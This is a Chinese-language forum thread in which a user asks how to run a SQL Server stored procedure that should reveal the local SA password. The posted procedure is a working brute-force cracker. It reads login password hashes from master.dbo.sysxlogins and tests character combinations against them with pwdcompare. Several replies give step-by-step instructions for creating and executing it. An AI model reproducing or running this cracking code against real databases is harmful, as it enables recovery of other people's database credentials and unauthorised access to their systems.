怎样运行存储过程?

[xiaoqin1999]

我想查看本机SQL SERVER的SA的密码,
在网上搜索了一段存储过程的代码,
请问这个存储过程的代码要怎样运行呢?
代码如下:

alter proc p_GetPassword2 
    @username sysname=null, --用户名,如果不指定,则列出所有用户 
    @pwdlen int=2 --要破解的密码的位数,默认是2位及以下的 
as 
    set nocount on

    if object_id(N'tempdb..#t') is not null
        drop table #t
    if object_id(N'tempdb..#pwd') is not null
        drop table #pwd

    set @pwdlen=case when isnull(@pwdlen,0)<1 then 1 else @pwdlen-1 end

    declare @ss varchar(256)
    --select @ss= '123456789'
    select @ss=    'abcdefghijklmnopqrstuvwxyz'
    select @ss=@ss+ '`0123456789-=[]\;,./'
    select @ss=@ss+ '~!@#$%^&*()_+{}|:<>?'
    --select @ss=@ss+    'ABCDEFGHIJKLMNOPQRSTUVWXYZ'

    create table #t(c char(1) not null)
    alter table #t add constraint PK_#t primary key CLUSTERED (c) 
    declare @index int
    select @index=1
    while (@index <=len(@ss))
    begin
        insert #t select SUBSTRING(@ss, @index, 1)
        select @index = @index +1
    end

    select name,password 
        ,type=case when xstatus&2048=2048 then 1 else 0 end 
        ,jm=case when password is null then 1 else 0 end 
        ,pwdstr=cast('' as sysname) 
        ,pwd=cast('' as varchar(8000)) 
        ,times =cast('' as varchar(8000))
        into #pwd 
    from master.dbo.sysxlogins a 
    where srvid is null 
        and name=isnull(@username,name) 
    declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000), @stimes varchar(8000)

    declare @l int, @t bigint

    select @t = count(1)*POWER(len(@ss),1) from #pwd

    select @l=0 
        ,@s1='aa.c' 
        ,@s2='cast(ASCII(aa.c) as varchar)' 
        ,@s3=',#t aa'
        ,@stimes='1th,' + cast(@t as varchar(20)) + 'rows'

    exec(' 
        update pwd set jm=1,pwdstr='+@s1+' 
        ,pwd='+@s2+' 
        from #pwd pwd'+@s3+' 
        where pwd.jm=0 
        and pwdcompare('+@s1+',pwd.password,pwd.type)=1 
        ') 
    while exists(select 1 from #pwd where jm=0 and @l<@pwdlen) 
    begin 
        select @l=@l+1
        select @t = count(1)*POWER(len(@ss),@l+1) from #pwd
        print @t

        select
        @s1=@s1+'+'+char(@l/26+97)+char(@l%26+97)+'.c' 
        ,@s2=@s2+'+'',''+cast(ASCII('+char(@l/26+97)+char(@l%26+97)+'.c) as varchar)' 
        ,@s3=@s3+',#t '+char(@l/26+97)+char(@l%26+97)
        ,@stimes=@stimes+';'+ cast(@l+1 as varchar(1)) + 'th,' + cast(@t as varchar(20)) + 'rows'

        exec(' 
        update pwd set jm=1,pwdstr='+@s1+' 
        ,pwd='+@s2+' 
        ,times='''+@stimes+'''
        from #pwd pwd'+@s3+' 
        where pwd.jm=0 
        and pwdcompare('+@s1+',pwd.password,pwd.type)=1 
        ') 
    end 
    select 用户名=name,密码=pwdstr,密码ASCII=pwd, 查询次数和行数=times 
    from #pwd 

    if object_id(N'tempdb..#t') is not null
        drop table #t
    if object_id(N'tempdb..#pwd') is not null
        drop table #pwd
 

[mabailin]

先输入drop proc p_GetPassword2
按键盘F5 删除本句
然后需要将alter proc p_GetPassword2改为create proc p_GetPassword2
然后F5 删除本句
然后输入exec p_GetPassword2
然后再F5
然后再下面就会看到一些东西。

[--小F--]

把你这段直接拿去查询分析器执行就可以了

exec p_GetPassword2

[xuam]

exec  p_GetPassword2

[快溜]

你需要将alter proc p_GetPassword2改为create proc p_GetPassword2
然后F5
然后输入exec p_GetPassword2
然后再F5
然后再下面就会看到一些东西。

[叶子]

exec 存储过程名 参数